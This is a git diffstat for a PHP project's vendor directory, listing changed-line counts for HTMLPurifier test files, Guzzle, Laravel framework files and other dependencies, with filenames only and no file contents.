.../AttrDef/CSS/AlphaValueTest.php | 28 + .../AttrDef/CSS/BackgroundPositionTest.php | 68 + .../AttrDef/CSS/BackgroundTest.php | 29 + .../HTMLPurifier/AttrDef/CSS/BorderTest.php | 21 + .../HTMLPurifier/AttrDef/CSS/ColorTest.php | 61 + .../AttrDef/CSS/CompositeTest.php | 82 + .../HTMLPurifier/AttrDef/CSS/FilterTest.php | 29 + .../AttrDef/CSS/FontFamilyTest.php | 53 + .../HTMLPurifier/AttrDef/CSS/FontTest.php | 34 + .../AttrDef/CSS/ImportantDecoratorTest.php | 56 + .../HTMLPurifier/AttrDef/CSS/LengthTest.php | 49 + .../AttrDef/CSS/ListStyleTest.php | 35 + .../HTMLPurifier/AttrDef/CSS/MultipleTest.php | 29 + .../HTMLPurifier/AttrDef/CSS/NumberTest.php | 51 + .../AttrDef/CSS/PercentageTest.php | 24 + .../AttrDef/CSS/TextDecorationTest.php | 27 + .../HTMLPurifier/AttrDef/CSS/URITest.php | 29 + .../tests/HTMLPurifier/AttrDef/CSSTest.php | 195 + .../tests/HTMLPurifier/AttrDef/EnumTest.php | 41 + .../HTMLPurifier/AttrDef/HTML/BoolTest.php | 24 + .../HTMLPurifier/AttrDef/HTML/ClassTest.php | 53 + .../HTMLPurifier/AttrDef/HTML/ColorTest.php | 22 + .../AttrDef/HTML/ContentEditableTest.php | 27 + .../AttrDef/HTML/FrameTargetTest.php | 31 + .../HTMLPurifier/AttrDef/HTML/IDTest.php | 121 + .../HTMLPurifier/AttrDef/HTML/LengthTest.php | 33 + .../AttrDef/HTML/LinkTypesTest.php | 21 + .../AttrDef/HTML/MultiLengthTest.php | 29 + .../AttrDef/HTML/NmtokensTest.php | 36 + .../HTMLPurifier/AttrDef/HTML/PixelsTest.php | 47 + .../HTMLPurifier/AttrDef/IntegerTest.php | 62 + .../tests/HTMLPurifier/AttrDef/LangTest.php | 85 + .../tests/HTMLPurifier/AttrDef/SwitchTest.php | 37 + .../tests/HTMLPurifier/AttrDef/TextTest.php | 17 + .../AttrDef/URI/Email/SimpleCheckTest.php | 14 + .../HTMLPurifier/AttrDef/URI/EmailHarness.php | 32 + .../HTMLPurifier/AttrDef/URI/HostTest.php | 64 + .../HTMLPurifier/AttrDef/URI/IPv4Test.php | 25 + .../HTMLPurifier/AttrDef/URI/IPv6Test.php | 43 + .../tests/HTMLPurifier/AttrDef/URITest.php | 170 + .../tests/HTMLPurifier/AttrDefHarness.php | 33 + .../tests/HTMLPurifier/AttrDefTest.php | 32 + .../AttrTransform/BackgroundTest.php | 45 + .../HTMLPurifier/AttrTransform/BdoDirTest.php | 34 + .../AttrTransform/BgColorTest.php | 49 + .../AttrTransform/BoolToCSSTest.php | 43 + .../HTMLPurifier/AttrTransform/BorderTest.php | 43 + .../AttrTransform/EnumToCSSTest.php | 82 + .../AttrTransform/ImgRequiredTest.php | 61 + .../AttrTransform/ImgSpaceTest.php | 62 + .../HTMLPurifier/AttrTransform/InputTest.php | 105 + .../HTMLPurifier/AttrTransform/LangTest.php | 52 + .../HTMLPurifier/AttrTransform/LengthTest.php | 51 + .../AttrTransform/NameSyncTest.php | 50 + .../HTMLPurifier/AttrTransform/NameTest.php | 35 + .../HTMLPurifier/AttrTransformHarness.php | 14 + .../tests/HTMLPurifier/AttrTransformTest.php | 45 + .../tests/HTMLPurifier/AttrTypesTest.php | 27 + .../HTMLPurifier/AttrValidator_ErrorsTest.php | 77 + .../HTMLPurifier/ChildDef/ChameleonTest.php | 44 + .../HTMLPurifier/ChildDef/CustomTest.php | 99 + .../tests/HTMLPurifier/ChildDef/ListTest.php | 54 + .../HTMLPurifier/ChildDef/OptionalTest.php | 39 + .../HTMLPurifier/ChildDef/RequiredTest.php | 78 + .../ChildDef/StrictBlockquoteTest.php | 96 + .../tests/HTMLPurifier/ChildDef/TableTest.php | 102 + .../tests/HTMLPurifier/ChildDefHarness.php | 17 + .../tests/HTMLPurifier/ComplexHarness.php | 138 + .../ConfigSchema/InterchangeTest.php | 23 + .../directive/aliasesAliasCollision.vtest | 13 + .../directive/aliasesDirectiveCollision.vtest | 12 + .../Validator/directive/allowedIsString.vtest | 7 + .../Validator/directive/allowedNotEmpty.vtest | 7 + .../directive/defaultIsAllowed.vtest | 7 + .../directive/defaultNullWithAllowed.vtest | 5 + .../Validator/directive/defaultType.vtest | 6 + .../directive/descriptionNotEmpty.vtest | 5 + .../Validator/directive/ignoreNamespace.vtest | 3 + .../Validator/directive/typeDefined.vtest | 5 + .../Validator/directive/typeExists.vtest | 6 + .../typeWithAllowedIsStringType.vtest | 7 + .../typeWithValueAliasesIsStringType.vtest | 7 + .../Validator/directive/unique.vtest | 11 + .../directive/valueAliasesAliasIsString.vtest | 7 + .../valueAliasesAliasNotAllowed.vtest | 8 + .../directive/valueAliasesNotAliasSelf.vtest | 7 + .../directive/valueAliasesRealAllowed.vtest | 8 + .../directive/valueAliasesRealIsString.vtest | 7 + .../ConfigSchema/ValidatorAtomTest.php | 110 + .../ConfigSchema/ValidatorTest.php | 111 + .../ConfigSchema/ValidatorTestCase.php | 47 + .../tests/HTMLPurifier/ConfigSchemaTest.php | 104 + .../tests/HTMLPurifier/ConfigTest-create.ini | 4 + .../HTMLPurifier/ConfigTest-finalize.ini | 4 + .../tests/HTMLPurifier/ConfigTest-loadIni.ini | 6 + .../tests/HTMLPurifier/ConfigTest.php | 577 + .../tests/HTMLPurifier/ContextTest.php | 93 + .../DefinitionCache/Decorator/CleanupTest.php | 64 + .../DefinitionCache/Decorator/MemoryTest.php | 80 + .../DefinitionCache/DecoratorHarness.php | 31 + .../DefinitionCache/DecoratorTest.php | 42 + .../DefinitionCache/SerializerTest.php | 243 + .../DefinitionCache/SerializerTest/README | 3 + .../DefinitionCacheFactoryTest.php | 81 + .../HTMLPurifier/DefinitionCacheHarness.php | 36 + .../HTMLPurifier/DefinitionCacheTest.php | 33 + .../tests/HTMLPurifier/DefinitionTest.php | 22 + .../tests/HTMLPurifier/DefinitionTestable.php | 15 + .../HTMLPurifier/DoctypeRegistryTest.php | 77 + .../tests/HTMLPurifier/ElementDefTest.php | 102 + .../tests/HTMLPurifier/EncoderTest.php | 239 + .../tests/HTMLPurifier/EntityLookupTest.php | 27 + .../tests/HTMLPurifier/EntityParserTest.php | 103 + .../HTMLPurifier/ErrorCollectorEMock.php | 52 + .../tests/HTMLPurifier/ErrorCollectorTest.php | 161 + .../tests/HTMLPurifier/ErrorsHarness.php | 42 + .../Filter/ExtractStyleBlocksTest.php | 267 + .../tests/HTMLPurifier/GeneratorTest.php | 319 + .../tests/HTMLPurifier/HTMLDefinitionTest.php | 404 + .../HTMLPurifier/HTMLModule/FormsTest.php | 173 + .../HTMLPurifier/HTMLModule/ImageTest.php | 61 + .../HTMLPurifier/HTMLModule/NameTest.php | 36 + .../HTMLPurifier/HTMLModule/NofollowTest.php | 30 + .../HTMLPurifier/HTMLModule/ObjectTest.php | 42 + .../HTMLModule/ProprietaryTest.php | 32 + .../HTMLPurifier/HTMLModule/RubyTest.php | 60 + .../HTMLPurifier/HTMLModule/SafeEmbedTest.php | 46 + .../HTMLModule/SafeObjectTest.php | 55 + .../HTMLModule/SafeScriptingTest.php | 49 + .../HTMLPurifier/HTMLModule/ScriptingTest.php | 61 + .../HTMLModule/TargetBlankTest.php | 29 + .../HTMLModule/TargetNoopenerTest.php | 51 + .../HTMLModule/TargetNoreferrerTest.php | 51 + .../HTMLPurifier/HTMLModule/TidyTest.php | 224 + .../tests/HTMLPurifier/HTMLModuleHarness.php | 12 + .../HTMLPurifier/HTMLModuleManagerTest.php | 121 + .../tests/HTMLPurifier/HTMLModuleTest.php | 146 + .../htmlpurifier/tests/HTMLPurifier/HTMLT.php | 38 + .../HTMLPurifier/HTMLT/allowed-preserve.htmlt | 8 + .../HTMLPurifier/HTMLT/allowed-remove.htmlt | 8 + .../tests/HTMLPurifier/HTMLT/basic.htmlt | 5 + .../HTMLT/blacklist-preserve.htmlt | 6 + .../HTMLPurifier/HTMLT/blacklist-remove.htmlt | 8 + .../HTMLT/css-allowed-preserve.htmlt | 5 + .../HTMLT/css-allowed-remove.htmlt | 7 + .../HTMLPurifier/HTMLT/disable-uri.htmlt | 6 + .../HTMLPurifier/HTMLT/double-youtube.htmlt | 6 + .../tests/HTMLPurifier/HTMLT/empty.htmlt | 6 + .../tests/HTMLPurifier/HTMLT/file-uri.htmlt | 5 + .../tests/HTMLPurifier/HTMLT/id-default.htmlt | 5 + .../tests/HTMLPurifier/HTMLT/id-enabled.htmlt | 6 + .../tests/HTMLPurifier/HTMLT/id-img.htmlt | 8 + .../HTMLPurifier/HTMLT/id-name-mix.htmlt | 11 + .../HTMLPurifier/HTMLT/inline-list-loop.htmlt | 5 + .../HTMLT/inline-wraps-block.htmlt | 5 + .../HTMLPurifier/HTMLT/li-disabled.htmlt | 7 + .../HTMLPurifier/HTMLT/list-nesting.htmlt | 7 + .../HTMLPurifier/HTMLT/munge-extra.htmlt | 13 + .../tests/HTMLPurifier/HTMLT/munge.htmlt | 52 + .../tests/HTMLPurifier/HTMLT/name.htmlt | 6 + .../HTMLT/safe-iframe-googlemaps.htmlt | 8 + .../HTMLT/safe-iframe-invalid.htmlt | 7 + .../HTMLT/safe-iframe-youtube.htmlt | 8 + .../HTMLPurifier/HTMLT/safe-iframe.htmlt | 14 + .../HTMLT/safe-object-embed-munge.htmlt | 12 + .../HTMLT/safe-object-embed.htmlt | 8 + .../HTMLPurifier/HTMLT/script-bare.htmlt | 9 + .../HTMLPurifier/HTMLT/script-cdata.htmlt | 11 + .../HTMLPurifier/HTMLT/script-comment.htmlt | 11 + .../HTMLT/script-dbl-comment.htmlt | 11 + .../HTMLPurifier/HTMLT/script-ideal.htmlt | 11 + .../HTMLPurifier/HTMLT/secure-munge.htmlt | 12 + .../HTMLT/shift-jis-preserve-yen.htmlt | 8 + .../HTMLT/shift-jis-remove-yen.htmlt | 9 + .../HTMLT/strict-blockquote-with-inline.htmlt | 7 + .../HTMLT/strict-blockquote.htmlt | 7 + .../HTMLPurifier/HTMLT/strict-underline.htmlt | 7 + .../HTMLPurifier/HTMLT/style-onload.htmlt | 6 + .../tests/HTMLPurifier/HTMLT/t78.htmlt | 7 + .../HTMLPurifier/HTMLT/tidy-background.htmlt | 5 + .../HTMLT/trusted-comments-required.htmlt | 6 + .../HTMLT/trusted-comments-table.htmlt | 5 + .../HTMLPurifier/HTMLT/trusted-comments.htmlt | 5 + .../HTMLT/whitespace-preserve.htmlt | 3 + .../tests/HTMLPurifier/Harness.php | 117 + .../tests/HTMLPurifier/IDAccumulatorTest.php | 40 + .../Injector/AutoParagraphTest.php | 577 + .../Injector/DisplayLinkURITest.php | 37 + .../HTMLPurifier/Injector/LinkifyTest.php | 65 + .../Injector/PurifierLinkifyTest.php | 68 + .../HTMLPurifier/Injector/RemoveEmptyTest.php | 120 + .../RemoveSpansWithoutAttributesTest.php | 112 + .../HTMLPurifier/Injector/SafeObjectTest.php | 106 + .../tests/HTMLPurifier/InjectorHarness.php | 14 + .../HTMLPurifier/LanguageFactoryTest.php | 34 + .../tests/HTMLPurifier/LanguageTest.php | 85 + .../tests/HTMLPurifier/LengthTest.php | 80 + .../HTMLPurifier/Lexer/DirectLexTest.php | 131 + .../Lexer/DirectLex_ErrorsTest.php | 67 + .../tests/HTMLPurifier/LexerTest.php | 904 ++ .../tests/HTMLPurifier/PHPT/.gitignore | 1 + .../tests/HTMLPurifier/PHPT/domxml.phpt | 15 + .../tests/HTMLPurifier/PHPT/func.phpt | 9 + .../tests/HTMLPurifier/PHPT/kses/basic.phpt | 15 + .../HTMLPurifier/PHPT/loading/_autoload.inc | 12 + .../PHPT/loading/_no-autoload.inc | 17 + .../PHPT/loading/auto-includes.phpt | 12 + .../PHPT/loading/auto-with-autoload.phpt | 28 + .../auto-with-spl-autoload-default.phpt | 25 + .../PHPT/loading/auto-with-spl-autoload.phpt | 43 + .../loading/auto-without-spl-autoload.phpt | 19 + .../auto-without-spl-with-autoload.phpt | 21 + .../tests/HTMLPurifier/PHPT/loading/auto.phpt | 11 + ...rror-auto-with-spl-nonstatic-autoload.phpt | 32 + .../PHPT/loading/path-includes-autoload.phpt | 14 + .../PHPT/loading/path-includes.phpt | 12 + .../PHPT/loading/safe-includes.phpt | 12 + .../PHPT/loading/standalone-autoload.phpt | 12 + .../PHPT/loading/standalone-with-prefix.phpt | 15 + .../HTMLPurifier/PHPT/loading/standalone.phpt | 13 + .../tests/HTMLPurifier/PHPT/stub.phpt | 6 + .../tests/HTMLPurifier/PHPT/utf8.phpt | 9 + .../PHPT/ze1_compatibility_mode.phpt | 14 + .../tests/HTMLPurifier/PercentEncoderTest.php | 71 + .../tests/HTMLPurifier/PropertyListTest.php | 101 + .../HTMLPurifier/SimpleTest/Reporter.php | 65 + .../HTMLPurifier/SimpleTest/TextReporter.php | 24 + .../HTMLPurifier/Strategy/CompositeTest.php | 67 + .../tests/HTMLPurifier/Strategy/CoreTest.php | 51 + .../HTMLPurifier/Strategy/ErrorsHarness.php | 19 + .../HTMLPurifier/Strategy/FixNestingTest.php | 163 + .../Strategy/FixNesting_ErrorsTest.php | 47 + .../MakeWellFormed/EndInsertInjector.php | 19 + .../MakeWellFormed/EndInsertInjectorTest.php | 47 + .../MakeWellFormed/EndRewindInjector.php | 35 + .../MakeWellFormed/EndRewindInjectorTest.php | 39 + .../Strategy/MakeWellFormed/SkipInjector.php | 13 + .../MakeWellFormed/SkipInjectorTest.php | 31 + .../Strategy/MakeWellFormedTest.php | 170 + .../Strategy/MakeWellFormed_ErrorsTest.php | 71 + .../Strategy/MakeWellFormed_InjectorTest.php | 163 + .../Strategy/RemoveForeignElementsTest.php | 133 + .../RemoveForeignElements_ErrorsTest.php | 81 + .../RemoveForeignElements_TidyTest.php | 50 + .../Strategy/ValidateAttributesTest.php | 270 + .../Strategy/ValidateAttributes_IDTest.php | 71 + .../Strategy/ValidateAttributes_TidyTest.php | 400 + .../tests/HTMLPurifier/StrategyHarness.php | 16 + .../StringHashParser/AppendMultiline.txt | 5 + .../HTMLPurifier/StringHashParser/Default.txt | 2 + .../HTMLPurifier/StringHashParser/Multi.txt | 19 + .../StringHashParser/OverrideSingle.txt | 3 + .../HTMLPurifier/StringHashParser/Simple.txt | 10 + .../HTMLPurifier/StringHashParserTest.php | 97 + .../tests/HTMLPurifier/StringHashTest.php | 21 + .../tests/HTMLPurifier/TagTransformTest.php | 180 + .../tests/HTMLPurifier/TokenFactoryTest.php | 17 + .../tests/HTMLPurifier/TokenTest.php | 34 + .../tests/HTMLPurifier/URIDefinitionTest.php | 68 + .../DisableExternalResourcesTest.php | 25 + .../URIFilter/DisableExternalTest.php | 60 + .../URIFilter/DisableResourcesTest.php | 27 + .../URIFilter/HostBlacklistTest.php | 39 + .../URIFilter/MakeAbsoluteTest.php | 182 + .../HTMLPurifier/URIFilter/MungeTest.php | 170 + .../tests/HTMLPurifier/URIFilterHarness.php | 21 + .../tests/HTMLPurifier/URIHarness.php | 33 + .../tests/HTMLPurifier/URIParserTest.php | 183 + .../HTMLPurifier/URISchemeRegistryTest.php | 49 + .../tests/HTMLPurifier/URISchemeTest.php | 274 + .../tests/HTMLPurifier/URITest.php | 230 + .../tests/HTMLPurifier/UnitConverterTest.php | 142 + .../HTMLPurifier/VarParser/FlexibleTest.php | 68 + .../HTMLPurifier/VarParser/NativeTest.php | 13 + .../tests/HTMLPurifier/VarParserHarness.php | 36 + .../tests/HTMLPurifier/ZipperTest.php | 26 + .../htmlpurifier/tests/HTMLPurifierTest.php | 77 + .../tests/PHPT/Controller/SimpleTest.php | 26 + .../tests/PHPT/Reporter/SimpleTest.php | 86 + .../tests/PHPT/Section/PRESKIPIF.php | 36 + vendor/ezyang/htmlpurifier/tests/common.php | 251 + .../htmlpurifier/tests/default_load.php | 3 + .../tests/generate_mock_once.func.php | 12 + vendor/ezyang/htmlpurifier/tests/index.php | 227 + .../ezyang/htmlpurifier/tests/multitest.php | 159 + .../htmlpurifier/tests/path2class.func.php | 15 + .../ezyang/htmlpurifier/tests/test_files.php | 44 + vendor/ezyang/htmlpurifier/tests/tmp/README | 3 + vendor/guzzlehttp/guzzle/CHANGELOG.md | 1352 ++ vendor/guzzlehttp/guzzle/LICENSE | 10 +- vendor/guzzlehttp/guzzle/README.md | 39 +- vendor/guzzlehttp/guzzle/UPGRADING.md | 1203 ++ vendor/guzzlehttp/guzzle/composer.json | 39 +- .../guzzle/src/Cookie/CookieJar.php | 5 + .../guzzle/src/Cookie/SetCookie.php | 11 +- .../guzzle/src/RedirectMiddleware.php | 21 +- vendor/guzzlehttp/promises/CHANGELOG.md | 116 + vendor/guzzlehttp/promises/README.md | 57 +- vendor/guzzlehttp/promises/composer.json | 5 - vendor/guzzlehttp/promises/src/Each.php | 2 +- .../guzzlehttp/promises/src/EachPromise.php | 8 - vendor/guzzlehttp/promises/src/Utils.php | 2 +- vendor/guzzlehttp/psr7/.github/FUNDING.yml | 2 + vendor/guzzlehttp/psr7/.github/stale.yml | 14 + .../guzzlehttp/psr7/.github/workflows/ci.yml | 30 + .../psr7/.github/workflows/integration.yml | 36 + .../psr7/.github/workflows/static.yml | 29 + vendor/guzzlehttp/psr7/.php_cs.dist | 56 + vendor/guzzlehttp/psr7/CHANGELOG.md | 324 + vendor/guzzlehttp/psr7/README.md | 24 +- vendor/guzzlehttp/psr7/composer.json | 10 +- vendor/guzzlehttp/psr7/src/MessageTrait.php | 65 +- vendor/guzzlehttp/psr7/src/UriComparator.php | 55 + vendor/intervention/image/composer.json | 4 +- .../Intervention/Image/AbstractDecoder.php | 2 +- .../Image/Gd/Commands/ResizeCommand.php | 6 +- .../image/src/Intervention/Image/Image.php | 2 +- .../Image/ImageServiceProviderLaravel4.php | 0 .../src/Intervention/Image/Imagick/Color.php | 2 +- .../Imagick/Commands/PixelateCommand.php | 2 +- .../image/src/Intervention/Image/Size.php | 4 +- .../php-console-color/.travis.yml | 24 + .../php-console-color/phpunit.xml | 16 + .../tests/ConsoleColorTest.php | 184 + .../php-console-highlighter/.travis.yml | 21 + .../examples/snippet.php | 10 + .../examples/whole_file.php | 10 + .../examples/whole_file_line_numbers.php | 10 + .../php-console-highlighter/phpunit.xml | 15 + .../PhpConsoleHighligter/HigligterTest.php | 263 + .../tests/bootstrap.php | 2 + .../.github/workflows/php-cs-fixer.yml | 23 + .../crawler-detect/.github/workflows/test.yml | 56 + vendor/jaybizzle/crawler-detect/.php_cs.dist | 33 + vendor/jaybizzle/crawler-detect/README.md | 7 +- .../crawler-detect/raw/Crawlers.json | 2 +- .../jaybizzle/crawler-detect/raw/Crawlers.txt | 31 +- .../crawler-detect/raw/Exclusions.json | 2 +- .../crawler-detect/raw/Exclusions.txt | 6 +- .../jaybizzle/crawler-detect/raw/Headers.json | 2 +- .../jaybizzle/crawler-detect/raw/Headers.txt | 3 +- .../crawler-detect/src/CrawlerDetect.php | 11 + .../crawler-detect/src/Fixtures/Crawlers.php | 31 +- .../src/Fixtures/Exclusions.php | 4 + .../crawler-detect/src/Fixtures/Headers.php | 2 + vendor/laravel/framework/composer.json | 0 vendor/laravel/framework/readme.md | 0 .../src/Illuminate/Auth/AuthManager.php | 0 .../Illuminate/Auth/AuthServiceProvider.php | 0 .../Illuminate/Auth/DatabaseUserProvider.php | 0 .../Illuminate/Auth/EloquentUserProvider.php | 0 .../src/Illuminate/Auth/GenericUser.php | 0 .../framework/src/Illuminate/Auth/Guard.php | 0 .../Passwords/DatabaseTokenRepository.php | 0 .../Auth/Passwords/PasswordBroker.php | 0 .../PasswordResetServiceProvider.php | 0 .../Passwords/TokenRepositoryInterface.php | 0 .../src/Illuminate/Auth/composer.json | 0 .../src/Illuminate/Cache/ApcStore.php | 0 .../src/Illuminate/Cache/ApcWrapper.php | 0 .../src/Illuminate/Cache/ArrayStore.php | 0 .../src/Illuminate/Cache/CacheManager.php | 0 .../Illuminate/Cache/CacheServiceProvider.php | 0 .../Illuminate/Cache/Console/ClearCommand.php | 0 .../src/Illuminate/Cache/DatabaseStore.php | 0 .../src/Illuminate/Cache/FileStore.php | 0 .../Illuminate/Cache/MemcachedConnector.php | 0 .../src/Illuminate/Cache/MemcachedStore.php | 0 .../src/Illuminate/Cache/NullStore.php | 0 .../src/Illuminate/Cache/RedisStore.php | 0 .../src/Illuminate/Cache/Repository.php | 0 .../src/Illuminate/Cache/WinCacheStore.php | 0 .../src/Illuminate/Cache/XCacheStore.php | 0 .../src/Illuminate/Cache/composer.json | 0 .../src/Illuminate/Config/composer.json | 0 .../src/Illuminate/Console/Application.php | 0 .../src/Illuminate/Console/Command.php | 0 .../src/Illuminate/Console/composer.json | 0 .../src/Illuminate/Container/Container.php | 0 .../src/Illuminate/Container/composer.json | 0 .../Contracts/Support/Arrayable.php | 0 .../Illuminate/Contracts/Support/Jsonable.php | 0 .../Contracts/Support/MessageProvider.php | 0 .../Contracts/Support/Renderable.php | 0 .../src/Illuminate/Cookie/CookieJar.php | 0 .../Cookie/CookieServiceProvider.php | 0 .../src/Illuminate/Cookie/composer.json | 0 .../Illuminate/Database/Capsule/Manager.php | 0 .../src/Illuminate/Database/Connection.php | 0 .../Database/ConnectionInterface.php | 0 .../Database/ConnectionResolver.php | 0 .../Database/ConnectionResolverInterface.php | 0 .../Database/Connectors/ConnectionFactory.php | 0 .../Database/Connectors/Connector.php | 0 .../Connectors/ConnectorInterface.php | 0 .../Database/Connectors/MySqlConnector.php | 0 .../Database/Connectors/PostgresConnector.php | 0 .../Database/Connectors/SQLiteConnector.php | 0 .../Connectors/SqlServerConnector.php | 0 .../Console/Migrations/BaseCommand.php | 0 .../Console/Migrations/InstallCommand.php | 0 .../Console/Migrations/MigrateCommand.php | 0 .../Console/Migrations/RefreshCommand.php | 0 .../Console/Migrations/ResetCommand.php | 0 .../Console/Migrations/RollbackCommand.php | 0 .../Illuminate/Database/DatabaseManager.php | 0 .../Database/DatabaseServiceProvider.php | 0 .../Illuminate/Database/Eloquent/Builder.php | 0 .../Database/Eloquent/Collection.php | 0 .../Eloquent/MassAssignmentException.php | 0 .../Illuminate/Database/Eloquent/Model.php | 0 .../Eloquent/ModelNotFoundException.php | 0 .../Database/Eloquent/Relations/BelongsTo.php | 0 .../Eloquent/Relations/BelongsToMany.php | 0 .../Database/Eloquent/Relations/HasMany.php | 0 .../Database/Eloquent/Relations/HasOne.php | 0 .../Eloquent/Relations/HasOneOrMany.php | 0 .../Database/Eloquent/Relations/MorphMany.php | 0 .../Database/Eloquent/Relations/MorphOne.php | 0 .../Eloquent/Relations/MorphOneOrMany.php | 0 .../Database/Eloquent/Relations/Pivot.php | 0 .../Database/Eloquent/Relations/Relation.php | 0 .../src/Illuminate/Database/Grammar.php | 0 .../Database/MigrationServiceProvider.php | 0 .../DatabaseMigrationRepository.php | 0 .../Database/Migrations/Migration.php | 0 .../Database/Migrations/MigrationCreator.php | 0 .../MigrationRepositoryInterface.php | 0 .../Database/Migrations/Migrator.php | 0 .../Database/Migrations/stubs/blank.stub | 0 .../Database/Migrations/stubs/create.stub | 0 .../Database/Migrations/stubs/update.stub | 0 .../Illuminate/Database/MySqlConnection.php | 0 .../Database/PostgresConnection.php | 0 .../src/Illuminate/Database/Query/Builder.php | 0 .../Illuminate/Database/Query/Expression.php | 0 .../Database/Query/Grammars/Grammar.php | 0 .../Database/Query/Grammars/MySqlGrammar.php | 0 .../Query/Grammars/PostgresGrammar.php | 0 .../Database/Query/Grammars/SQLiteGrammar.php | 0 .../Query/Grammars/SqlServerGrammar.php | 0 .../Illuminate/Database/Query/JoinClause.php | 0 .../Query/Processors/PostgresProcessor.php | 0 .../Database/Query/Processors/Processor.php | 0 .../Query/Processors/SqlServerProcessor.php | 0 .../src/Illuminate/Database/README.md | 0 .../Illuminate/Database/SQLiteConnection.php | 0 .../Illuminate/Database/Schema/Blueprint.php | 0 .../Illuminate/Database/Schema/Builder.php | 0 .../Database/Schema/Grammars/Grammar.php | 0 .../Database/Schema/Grammars/MySqlGrammar.php | 2 +- .../Schema/Grammars/PostgresGrammar.php | 0 .../Schema/Grammars/SQLiteGrammar.php | 0 .../Schema/Grammars/SqlServerGrammar.php | 0 .../Database/Schema/MySqlBuilder.php | 0 .../Database/Schema/PostgresBuilder.php | 0 .../Database/SeedServiceProvider.php | 0 .../src/Illuminate/Database/Seeder.php | 0 .../Database/SqlServerConnection.php | 0 .../src/Illuminate/Database/composer.json | 0 .../src/Illuminate/Encryption/Encrypter.php | 0 .../Encryption/EncryptionServiceProvider.php | 0 .../src/Illuminate/Encryption/composer.json | 0 .../src/Illuminate/Events/Dispatcher.php | 0 .../Events/EventServiceProvider.php | 0 .../src/Illuminate/Events/composer.json | 0 .../src/Illuminate/Foundation/AliasLoader.php | 0 .../src/Illuminate/Foundation/Application.php | 0 .../src/Illuminate/Foundation/Composer.php | 0 .../Foundation/ProviderRepository.php | 0 .../Providers/ArtisanServiceProvider.php | 0 .../Providers/ComposerServiceProvider.php | 0 .../Foundation/Testing/TestCase.php | 0 .../src/Illuminate/Hashing/BcryptHasher.php | 0 .../Hashing/HashServiceProvider.php | 0 .../src/Illuminate/Hashing/composer.json | 0 .../src/Illuminate/Http/JsonResponse.php | 0 .../src/Illuminate/Http/RedirectResponse.php | 0 .../framework/src/Illuminate/Http/Request.php | 0 .../src/Illuminate/Http/Response.php | 0 .../src/Illuminate/Http/composer.json | 0 .../framework/src/Illuminate/Log/Writer.php | 0 .../src/Illuminate/Log/composer.json | 0 .../Illuminate/Mail/MailServiceProvider.php | 0 .../framework/src/Illuminate/Mail/Mailer.php | 0 .../framework/src/Illuminate/Mail/Message.php | 0 .../src/Illuminate/Mail/composer.json | 0 .../Pagination/PaginationServiceProvider.php | 0 .../src/Illuminate/Pagination/composer.json | 0 .../src/Illuminate/Queue/BeanstalkdQueue.php | 0 .../Queue/Connectors/BeanstalkdConnector.php | 0 .../Queue/Connectors/ConnectorInterface.php | 0 .../Queue/Connectors/IronConnector.php | 0 .../Queue/Connectors/SqsConnector.php | 0 .../Queue/Connectors/SyncConnector.php | 0 .../Queue/Console/ListenCommand.php | 4 - .../Queue/Console/SubscribeCommand.php | 0 .../Illuminate/Queue/Console/WorkCommand.php | 8 +- .../Illuminate/Queue/Console/stubs/jobs.stub | 2 +- .../src/Illuminate/Queue/DatabaseQueue.php | 157 +- .../Queue/IlluminateQueueClosure.php | 0 .../src/Illuminate/Queue/IronQueue.php | 0 .../Illuminate/Queue/Jobs/BeanstalkdJob.php | 0 .../src/Illuminate/Queue/Jobs/IronJob.php | 0 .../src/Illuminate/Queue/Jobs/Job.php | 0 .../src/Illuminate/Queue/Jobs/SqsJob.php | 0 .../src/Illuminate/Queue/Jobs/SyncJob.php | 0 .../src/Illuminate/Queue/Listener.php | 16 - .../framework/src/Illuminate/Queue/Queue.php | 0 .../src/Illuminate/Queue/QueueManager.php | 0 .../Illuminate/Queue/QueueServiceProvider.php | 0 .../src/Illuminate/Queue/RedisQueue.php | 14 - .../src/Illuminate/Queue/SqsQueue.php | 0 .../src/Illuminate/Queue/SyncQueue.php | 0 .../framework/src/Illuminate/Queue/Worker.php | 8 +- .../src/Illuminate/Queue/composer.json | 0 .../src/Illuminate/Redis/Database.php | 0 .../Illuminate/Redis/RedisServiceProvider.php | 0 .../src/Illuminate/Redis/composer.json | 0 .../Routing/Console/ControllerMakeCommand.php | 0 .../src/Illuminate/Routing/Redirector.php | 0 .../src/Illuminate/Routing/Route.php | 0 .../src/Illuminate/Routing/Router.php | 0 .../Routing/RoutingServiceProvider.php | 0 .../src/Illuminate/Routing/UrlGenerator.php | 0 .../src/Illuminate/Routing/composer.json | 0 .../Session/CacheBasedSessionHandler.php | 0 .../Session/CommandsServiceProvider.php | 0 .../Session/Console/stubs/database.stub | 0 .../Session/CookieSessionHandler.php | 0 .../src/Illuminate/Session/SessionManager.php | 0 .../Session/SessionServiceProvider.php | 0 .../src/Illuminate/Session/Store.php | 0 .../Session/TokenMismatchException.php | 0 .../src/Illuminate/Session/composer.json | 0 .../framework/src/Illuminate/Support/Arr.php | 0 .../src/Illuminate/Support/Collection.php | 0 .../src/Illuminate/Support/Facades/App.php | 0 .../Illuminate/Support/Facades/Artisan.php | 0 .../src/Illuminate/Support/Facades/Auth.php | 0 .../src/Illuminate/Support/Facades/Blade.php | 0 .../src/Illuminate/Support/Facades/Cache.php | 0 .../src/Illuminate/Support/Facades/Config.php | 0 .../src/Illuminate/Support/Facades/Cookie.php | 0 .../src/Illuminate/Support/Facades/Crypt.php | 0 .../src/Illuminate/Support/Facades/DB.php | 0 .../src/Illuminate/Support/Facades/Event.php | 0 .../src/Illuminate/Support/Facades/Facade.php | 0 .../src/Illuminate/Support/Facades/File.php | 0 .../src/Illuminate/Support/Facades/Hash.php | 0 .../src/Illuminate/Support/Facades/Input.php | 0 .../src/Illuminate/Support/Facades/Lang.php | 0 .../src/Illuminate/Support/Facades/Log.php | 0 .../src/Illuminate/Support/Facades/Mail.php | 0 .../Illuminate/Support/Facades/Password.php | 0 .../src/Illuminate/Support/Facades/Queue.php | 0 .../Illuminate/Support/Facades/Redirect.php | 0 .../src/Illuminate/Support/Facades/Redis.php | 0 .../Illuminate/Support/Facades/Request.php | 0 .../Illuminate/Support/Facades/Response.php | 0 .../src/Illuminate/Support/Facades/Route.php | 0 .../src/Illuminate/Support/Facades/Schema.php | 0 .../Illuminate/Support/Facades/Session.php | 0 .../src/Illuminate/Support/Facades/URL.php | 0 .../Illuminate/Support/Facades/Validator.php | 0 .../src/Illuminate/Support/Facades/View.php | 0 .../src/Illuminate/Support/Fluent.php | 0 .../src/Illuminate/Support/Manager.php | 0 .../src/Illuminate/Support/MessageBag.php | 0 